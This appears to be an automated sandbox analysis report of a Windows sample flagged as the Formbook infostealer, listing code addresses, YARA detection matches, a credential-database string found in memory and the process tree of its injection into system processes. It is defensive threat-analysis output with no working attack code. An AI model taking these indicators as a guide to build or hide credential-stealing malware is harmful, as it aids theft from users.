Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_0040262D	9_2_0040262D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_00402630	9_2_00402630
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C4E3F0	9_2_03C4E3F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D003E6	9_2_03D003E6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C8739A	9_2_03C8739A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2D34C	9_2_03C2D34C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFA352	9_2_03CFA352
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF132D	9_2_03CF132D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5B2C0	9_2_03C5B2C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE12ED	9_2_03CE12ED
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C452A0	9_2_03C452A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0274	9_2_03CE0274
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF81CC	9_2_03CF81CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C4B1B0	9_2_03C4B1B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D001AA	9_2_03D001AA
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C7516C	9_2_03C7516C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C2F172	9_2_03C2F172
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D0B16B	9_2_03D0B16B
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C30100	9_2_03C30100
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CDA118	9_2_03CDA118
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEF0CC	9_2_03CEF0CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C470C0	9_2_03C470C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF70E9	9_2_03CF70E9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFF0E0	9_2_03CFF0E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3C7C0	9_2_03C3C7C0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFF7B0	9_2_03CFF7B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C64750	9_2_03C64750
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C40770	9_2_03C40770
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF16CC	9_2_03CF16CC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5C6E0	9_2_03C5C6E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D00591	9_2_03D00591
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CDD5B0	9_2_03CDD5B0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF7571	9_2_03CF7571
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C40535	9_2_03C40535
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEE4F6	9_2_03CEE4F6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF2446	9_2_03CF2446
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C31460	9_2_03C31460
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFF43F	9_2_03CFF43F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF6BD7	9_2_03CF6BD7
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C7DBF9	9_2_03C7DBF9
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5FB80	9_2_03C5FB80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFAB40	9_2_03CFAB40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFFB76	9_2_03CFFB76
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CEDAC6	9_2_03CEDAC6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3EA80	9_2_03C3EA80
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CDDAAC	9_2_03CDDAAC
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C85AA0	9_2_03C85AA0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFFA49	9_2_03CFFA49
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF7A46	9_2_03CF7A46
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB3A6C	9_2_03CB3A6C
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C429A0	9_2_03C429A0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03D0A9A6	9_2_03D0A9A6
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C49950	9_2_03C49950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5B950	9_2_03C5B950
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C56962	9_2_03C56962
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C438E0	9_2_03C438E0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C6E8F0	9_2_03C6E8F0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C268B8	9_2_03C268B8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C42840	9_2_03C42840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C4A840	9_2_03C4A840
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C32FC8	9_2_03C32FC8
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C4CFE0	9_2_03C4CFE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C41F92	9_2_03C41F92
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFFFB1	9_2_03CFFFB1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB4F40	9_2_03CB4F40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFFF09	9_2_03CFFF09
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C82F28	9_2_03C82F28
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C60F30	9_2_03C60F30
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFEEDB	9_2_03CFEEDB
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C52E90	9_2_03C52E90
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFCE93	9_2_03CFCE93
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C49EB0	9_2_03C49EB0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C40E59	9_2_03C40E59
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFEE26	9_2_03CFEE26
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C5FDC0	9_2_03C5FDC0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C3ADE0	9_2_03C3ADE0
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C58DBF	9_2_03C58DBF
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C43D40	9_2_03C43D40
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF1D5A	9_2_03CF1D5A
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CF7D73	9_2_03CF7D73
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C4AD00	9_2_03C4AD00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C30CF2	9_2_03C30CF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CFFCF2	9_2_03CFFCF2
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CE0CB5	9_2_03CE0CB5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03C40C00	9_2_03C40C00
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 9_2_03CB9C32	9_2_03CB9C32
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031F132D	12_2_031F132D
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FA352	12_2_031FA352
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0312D34C	12_2_0312D34C
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0318739A	12_2_0318739A
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_032003E6	12_2_032003E6
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0314E3F0	12_2_0314E3F0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031E0274	12_2_031E0274
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031452A0	12_2_031452A0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0315B2C0	12_2_0315B2C0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031E12ED	12_2_031E12ED
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031DA118	12_2_031DA118
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03130100	12_2_03130100
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0320B16B	12_2_0320B16B
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0312F172	12_2_0312F172
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0317516C	12_2_0317516C
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_032001AA	12_2_032001AA
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0314B1B0	12_2_0314B1B0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031F81CC	12_2_031F81CC
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031EF0CC	12_2_031EF0CC
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031470C0	12_2_031470C0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031F70E9	12_2_031F70E9
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FF0E0	12_2_031FF0E0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03164750	12_2_03164750
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03140770	12_2_03140770
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FF7B0	12_2_031FF7B0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0313C7C0	12_2_0313C7C0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031F16CC	12_2_031F16CC
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0315C6E0	12_2_0315C6E0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03140535	12_2_03140535
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031F7571	12_2_031F7571
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031DD5B0	12_2_031DD5B0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03200591	12_2_03200591
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FF43F	12_2_031FF43F
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031F2446	12_2_031F2446
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03131460	12_2_03131460
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031EE4F6	12_2_031EE4F6
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FAB40	12_2_031FAB40
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FFB76	12_2_031FFB76
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0315FB80	12_2_0315FB80
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031F6BD7	12_2_031F6BD7
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0317DBF9	12_2_0317DBF9
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FFA49	12_2_031FFA49
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031F7A46	12_2_031F7A46
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031B3A6C	12_2_031B3A6C
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0313EA80	12_2_0313EA80
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031DDAAC	12_2_031DDAAC
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03185AA0	12_2_03185AA0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031EDAC6	12_2_031EDAC6
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03149950	12_2_03149950
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0315B950	12_2_0315B950
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03156962	12_2_03156962
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0320A9A6	12_2_0320A9A6
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031429A0	12_2_031429A0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03142840	12_2_03142840
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0314A840	12_2_0314A840
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031268B8	12_2_031268B8
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0316E8F0	12_2_0316E8F0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031438E0	12_2_031438E0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FFF09	12_2_031FFF09
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03160F30	12_2_03160F30
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03182F28	12_2_03182F28
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031B4F40	12_2_031B4F40
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03141F92	12_2_03141F92
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FFFB1	12_2_031FFFB1
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03132FC8	12_2_03132FC8
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0314CFE0	12_2_0314CFE0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FEE26	12_2_031FEE26
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03140E59	12_2_03140E59
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03152E90	12_2_03152E90
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FCE93	12_2_031FCE93
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03149EB0	12_2_03149EB0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FEEDB	12_2_031FEEDB
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0314AD00	12_2_0314AD00
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031F1D5A	12_2_031F1D5A
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03143D40	12_2_03143D40
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031F7D73	12_2_031F7D73
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03158DBF	12_2_03158DBF
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0315FDC0	12_2_0315FDC0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_0313ADE0	12_2_0313ADE0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03140C00	12_2_03140C00
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031B9C32	12_2_031B9C32
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031E0CB5	12_2_031E0CB5
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_03130CF2	12_2_03130CF2
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_031FFCF2	12_2_031FFCF2
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005C1C10	12_2_005C1C10
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005C52A0	12_2_005C52A0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005C3480	12_2_005C3480
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005DB880	12_2_005DB880
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005BCB30	12_2_005BCB30
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005BCD50	12_2_005BCD50
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_005BADD0	12_2_005BADD0
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5E284	12_2_02E5E284
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5E3A3	12_2_02E5E3A3
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5D7A8	12_2_02E5D7A8
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5E744	12_2_02E5E744
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: 12_2_02E5E50B	12_2_02E5E50B
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 14_2_04DF6D25	14_2_04DF6D25
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 14_2_04DD061B	14_2_04DD061B
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 14_2_04DD7FD5	14_2_04DD7FD5
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 14_2_04DE0745	14_2_04DE0745
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 14_2_04DDD0B5	14_2_04DDD0B5
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 14_2_04DD81F5	14_2_04DD81F5
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 14_2_04DDE925	14_2_04DDE925
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Code function: 14_2_04DD6275	14_2_04DD6275

Source: C:\Windows\SysWOW64\typeperf.exe	Code function: String function: 0312B970 appears 263 times
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: String function: 03175130 appears 36 times
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: String function: 031BF290 appears 105 times
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: String function: 03187E54 appears 88 times
Source: C:\Windows\SysWOW64\typeperf.exe	Code function: String function: 031AEA12 appears 84 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C75130 appears 36 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C2B970 appears 263 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03C87E54 appears 88 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CAEA12 appears 84 times
Source: C:\Windows\SysWOW64\svchost.exe	Code function: String function: 03CBF290 appears 105 times

Source: sa7Bw41TUq.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE, 32BIT_MACHINE

Source: 9.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 9.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3737461666.0000000000BB0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3737315515.0000000000B60000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000C.00000002.3725825178.00000000005B0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.1688985587.0000000009690000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.1671982092.00000000067E0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000B.00000002.3737482520.0000000004BE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 00000009.00000002.1670445021.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23
Source: 0000000E.00000002.3739752184.0000000004DC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 reference_sample = 6246f3b89f0e4913abd88ae535ae3597865270f58201dc7f8ec0c87f15ff370a, os = windows, severity = x86, creation_date = 2021-06-14, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Formbook, fingerprint = b8b88451ad8c66b54e21455d835a5d435e52173c86e9b813ffab09451aff7134, id = 1112e116-dee0-4818-a41f-ca5c1c41b4b8, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@7/2@16/9

Source: C:\Users\user\Desktop\sa7Bw41TUq.exe

File created: C:\Users\user~1\AppData\Local\Temp\camellin

Source: sa7Bw41TUq.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\sa7Bw41TUq.exe

File read: C:\Users\desktop.ini

Source: C:\Users\user\Desktop\sa7Bw41TUq.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Source: typeperf.exe, 0000000C.00000002.3730128385.0000000000A3A000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000002.3730128385.0000000000A06000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000003.1874628984.0000000000A19000.00000004.00000020.00020000.00000000.sdmp, typeperf.exe, 0000000C.00000003.1874720843.0000000000A06000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: sa7Bw41TUq.exe

ReversingLabs: Detection: 60%

Source: C:\Users\user\Desktop\sa7Bw41TUq.exe

File read: C:\Users\user\Desktop\sa7Bw41TUq.exe

Source: unknown	Process created: C:\Users\user\Desktop\sa7Bw41TUq.exe "C:\Users\user\Desktop\sa7Bw41TUq.exe"
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\sa7Bw41TUq.exe"
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Process created: C:\Windows\SysWOW64\typeperf.exe "C:\Windows\SysWOW64\typeperf.exe"
Source: C:\Windows\SysWOW64\typeperf.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"
Source: C:\Users\user\Desktop\sa7Bw41TUq.exe	Process created: C:\Windows\SysWOW64\svchost.exe "C:\Users\user\Desktop\sa7Bw41TUq.exe"	Jump to behavior
Source: C:\Program Files (x86)\jiQHbjscaMcKbPOlOroupNlgeKQaKZsecmPTcdBGPKRlFNgULSZwTYQAEfmJOzLaHJAOeFYgauUXuA\uxEGEjhWYrJv.exe	Process created: C:\Windows\SysWOW64\typeperf.exe "C:\Windows\SysWOW64\typeperf.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\typeperf.exe	Process created: C:\Program Files\Mozilla Firefox\firefox.exe "C:\Program Files\Mozilla Firefox\Firefox.exe"	Jump to behavior

